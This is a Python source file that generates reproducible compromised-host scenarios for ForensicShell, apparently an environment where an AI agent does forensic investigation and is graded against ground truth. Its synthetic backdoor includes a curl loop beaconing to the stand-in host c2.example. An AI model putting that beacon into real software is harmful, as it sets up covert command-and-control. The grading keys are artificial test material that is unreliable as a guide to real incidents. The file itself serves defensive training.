server/scenario_generator.py

"""
Procedural scenario generator for ForensicShell.

Pure function of (seed, difficulty, pattern). Identical inputs always produce
identical scenarios, so seeds work as train/val/test splits and make curricula
reproducible. No global random state is touched.

Public API:
    generate_scenario(seed, difficulty=3, pattern=None) -> dict

The returned dict has the same shape as the hand-authored SCENARIO_1/2/3 in
scenarios.py — it is a drop-in replacement the env can load through reset().

Difficulty tiers:
    1  easy     user + ip
    2  medium   + modified_files + backdoor_sha256
    3  medium+  same as 2 but more noise
    4  hard     + timeline, with red-herring content
    5  hard+    same as 4 with extra red herrings and more complex timeline
"""

from __future__ import annotations

import hashlib
import random
from datetime import datetime, timedelta
from types import SimpleNamespace
from typing import Dict, Optional

from .attack_patterns import PATTERNS
from .name_pools import (
    DECOY_USERS,
    HOSTNAMES,
    sample_hostname,
    sample_internal_ip,
    sample_public_ip,
    sample_username,
)


# ---------------------------------------------------------------------------
# Deterministic seed → backdoor bytes
# ---------------------------------------------------------------------------

def _synth_backdoor(seed: int, pattern: str) -> tuple[bytes, str, str]:
    """
    Return (bytes, sha256_hex, short_slug). Byte content is deterministic in
    (seed, pattern) so two generated scenarios with the same seed/pattern have
    the same SHA256 — matches what the grader will compare against.
    """
    short = hashlib.md5(f"{seed}-{pattern}".encode()).hexdigest()[:6]
    header = (
        f"#!/bin/sh\n"
        f"# synthetic payload {pattern}\n"
        f"# seed={seed} slug={short}\n"
    ).encode()
    body = (
        f"while :; do\n"
        f"  curl -s -X POST http://c2.example/beacon -d \"id={short}\"\n"
        f"  sleep 60\n"
        f"done\n"
    ).encode()
    payload = header + body + hashlib.sha256(f"{seed}|{pattern}".encode()).digest()
    return payload, hashlib.sha256(payload).hexdigest(), short


def _backdoor_path_for(pattern_tag: str, short: str, user: str) -> str:
    """Where the pattern drops its persistence blob."""
    if pattern_tag == "webshell":
        return f"/var/www/html/.{short}.bin"
    if pattern_tag == "supply_chain":
        return f"/tmp/.{short}"
    if pattern_tag == "insider":
        return "/tmp/.staging/dump.sql"
    if pattern_tag == "ssh_key_theft":
        return f"/usr/local/sbin/.{short}"
    return f"/usr/local/bin/.{short}"


# ---------------------------------------------------------------------------
# Filesystem + ground-truth assembly
# ---------------------------------------------------------------------------

def _legit_noise_auth_log(rng, host: str, ts_base: datetime, lines: int = 8) -> list[str]:
    """Render benign, plausible auth log entries to pad the log."""
    out = []
    for i in range(lines):
        ts = ts_base - timedelta(hours=rng.randint(1, 72), minutes=rng.randint(0, 59))
        who = rng.choice(["ops", "alice", "bob", "jenkins", "monitoring", "deploy"])
        internal = "10.0.0." + str(rng.randint(2, 200))
        kind = rng.choice(["Accepted publickey", "session opened", "Received disconnect"])
        if kind == "Accepted publickey":
            out.append(
                f"{ts.strftime('%b %d %H:%M:%S')} {host} sshd[{rng.randint(100, 9999)}]: "
                f"Accepted publickey for {who} from {internal} port {rng.randint(30000, 65000)} ssh2"
            )
        elif kind == "session opened":
            out.append(
                f"{ts.strftime('%b %d %H:%M:%S')} {host} sshd[{rng.randint(100, 9999)}]: "
                f"pam_unix(sshd:session): session opened for user {who} by (uid=0)"
            )
        else:
            out.append(
                f"{ts.strftime('%b %d %H:%M:%S')} {host} sshd[{rng.randint(100, 9999)}]: "
                f"Received disconnect from {internal} port {rng.randint(30000, 65000)}:11: disconnected by user"
            )
    return out


def _passwd_file(main_user: str, rng) -> str:
    users = list(DECOY_USERS) + [main_user]
    rng.shuffle(users)
    lines = ["root:x:0:0:root:/root:/bin/bash"]
    uid = 1000
    for u in users:
        lines.append(f"{u}:x:{uid}:{uid}:{u.title()},,,:/home/{u}:/bin/bash")
        uid += 1
    return "\n".join(lines) + "\n"


def _red_herrings(rng, host: str, ts_base: datetime, intensity: int) -> dict:
    """
    Inject decoy content at difficulty >= 4.
    Returns a dict of extra filesystem entries. None of these should end up in
    ground_truth.modified_files.

    intensity: 1 (diff 4) or 2 (diff 5+).
    """
    extras = {}

    # 1. Decoy auth.log.1 with a failed-login probe from an unrelated IP
    decoy_ip = sample_public_ip(rng)
    extras["/var/log/auth.log.1"] = (
        f"{(ts_base - timedelta(days=1)).strftime('%b %d %H:%M:%S')} {host} "
        f"sshd[101]: Failed password for invalid user admin from {decoy_ip} "
        f"port {rng.randint(30000, 65000)} ssh2\n"
        f"{(ts_base - timedelta(days=1, minutes=-3)).strftime('%b %d %H:%M:%S')} {host} "
        f"sshd[104]: Received disconnect from {decoy_ip}: [preauth]\n"
    )

    # 2. A decoy user's bash_history with suspicious-looking-but-benign commands
    decoy_user = rng.choice(DECOY_USERS)
    extras[f"/home/{decoy_user}/.bash_history"] = (
        "ls -la\n"
        "sudo systemctl status cron\n"
        "curl https://api.github.com/users/torvalds\n"
        "python3 -m http.server 8000 &\n"
        "pkill -f http.server\n"
    )

    if intensity >= 2:
        # 3. A /tmp/.cache binary with random bytes — agent might stat/sha it and submit wrongly
        junk = hashlib.sha256(f"decoy-{rng.random()}".encode()).digest() * 4
        extras["/tmp/.cache"] = junk

        # 4. A decoy cron that looks suspicious but is benign
        extras["/etc/cron.d/backup-nightly"] = (
            "# Nightly backup — owned by ops team\n"
            "0 4 * * * root /usr/local/sbin/backup.sh >/dev/null 2>&1\n"
        )

    return extras


# ---------------------------------------------------------------------------
# Main public function
# ---------------------------------------------------------------------------

def generate_scenario(
    seed: int,
    difficulty: int = 3,
    pattern: Optional[str] = None,
) -> Dict:
    """
    Deterministic scenario generator.

    Args:
        seed: any integer — identical inputs yield identical scenarios
        difficulty: 1..5 (clamped)
        pattern: one of attack_patterns.PATTERNS keys; if None, picked from seed

    Returns:
        dict with keys: task_id, difficulty, description, filesystem, ground_truth
    """
    if difficulty < 1:
        difficulty = 1
    if difficulty > 5:
        difficulty = 5

    rng = random.Random(int(seed))

    # 1. pick pattern
    if pattern is None:
        pattern = rng.choice(list(PATTERNS.keys()))
    if pattern not in PATTERNS:
        raise ValueError(f"unknown pattern: {pattern}")

    # 2. sample entities
    host = sample_hostname(rng)
    main_user = sample_username(rng)
    if pattern == "insider":
        attacker_ip = sample_internal_ip(rng)
    else:
        attacker_ip = sample_public_ip(rng)

    # 3. base timestamp — always in 2025, deterministic
    day_offset = rng.randint(0, 365)
    hour = rng.randint(8, 22)
    minute = rng.randint(0, 59)
    ts_base = datetime(2025, 1, 1) + timedelta(days=day_offset, hours=hour, minutes=minute)

    # 4. synthesize backdoor payload
    bd_bytes, bd_sha, short = _synth_backdoor(int(seed), pattern)
    bd_path = _backdoor_path_for(pattern, short, main_user)

    ctx = SimpleNamespace(
        rng=rng,
        user=main_user,
        ip=attacker_ip,
        host=host,
        ts_base=ts_base,
        backdoor_bytes=bd_bytes,
        backdoor_sha256=bd_sha,
        backdoor_path=bd_path,
        short=short,
    )

    # 5. run the pattern template
    pattern_fn = PATTERNS[pattern]
    result = pattern_fn(ctx)

    # 6. build filesystem
    noise = _legit_noise_auth_log(rng, host, ts_base, lines=6)
    auth_log = "\n".join(noise + result["auth_log_lines"]) + "\n"

    filesystem: Dict[str, object] = {
        "/var/log/auth.log": auth_log,
        f"/home/{main_user}/.bash_history": result["bash_history"],
        "/etc/passwd": _passwd_file(main_user, rng),
        "/etc/hostname": f"{host}\n",
        f"/home/{main_user}/readme.txt": f"{main_user}'s home dir.\n",
    }
    # add pattern-specific modified files
    for path, content in result["modified_files"].items():
        filesystem[path] = content

    # 7. red herrings
    if difficulty >= 4:
        intensity = 1 if difficulty == 4 else 2
        herrings = _red_herrings(rng, host, ts_base, intensity)
        for path, content in herrings.items():
            if path in filesystem:
                continue  # never overwrite a real artifact
            filesystem[path] = content

    # 8. path-collision sanity check (duplicate keys impossible in a dict, but
    #    ensure every ground-truth path actually exists in the filesystem)
    for p in result["modified_paths"]:
        assert p in filesystem, f"ground-truth path not in filesystem: {p}"

    # 9. assemble ground truth by difficulty tier
    gt: Dict = {
        "compromised_user": main_user,
        "initial_ip": attacker_ip,
    }
    if difficulty >= 2:
        gt["modified_files"] = list(result["modified_paths"])
        gt["backdoor_sha256"] = bd_sha
    if difficulty >= 4:
        gt["timeline"] = list(result["timeline"])

    task_id = f"gen_{int(seed)}_d{difficulty}_{pattern}"

    description = _describe(difficulty, pattern, main_user, host)

    return {
        "task_id": task_id,
        "difficulty": _difficulty_label(difficulty),
        "description": description,
        "filesystem": filesystem,
        "ground_truth": gt,
    }


# ---------------------------------------------------------------------------
# Small helpers
# ---------------------------------------------------------------------------

def _difficulty_label(d: int) -> str:
    return {1: "easy", 2: "medium", 3: "medium", 4: "hard", 5: "hard"}.get(d, "medium")


def _describe(difficulty: int, pattern: str, user: str, host: str) -> str:
    base = (
        f"Host '{host}' was compromised. Investigate the filesystem to determine "
        f"what happened. Start by reading /var/log/auth.log and the shell histories "
        f"under /home."
    )
    if difficulty == 1:
        return (
            f"{base} Report: compromised_user and initial_ip only. "
            f"(Pattern: {pattern})"
        )
    if difficulty in (2, 3):
        return (
            f"{base} Report: compromised_user, initial_ip, modified_files "
            f"(absolute paths), and the SHA256 of the attacker-dropped backdoor. "
            f"(Pattern: {pattern})"
        )
    return (
        f"{base} Report: compromised_user, initial_ip, modified_files, "
        f"backdoor_sha256, AND an ordered kill-chain timeline with phases "
        f"login -> recon -> privesc -> persistence -> exfil. Red herrings may be "
        f"present. (Pattern: {pattern})"
    )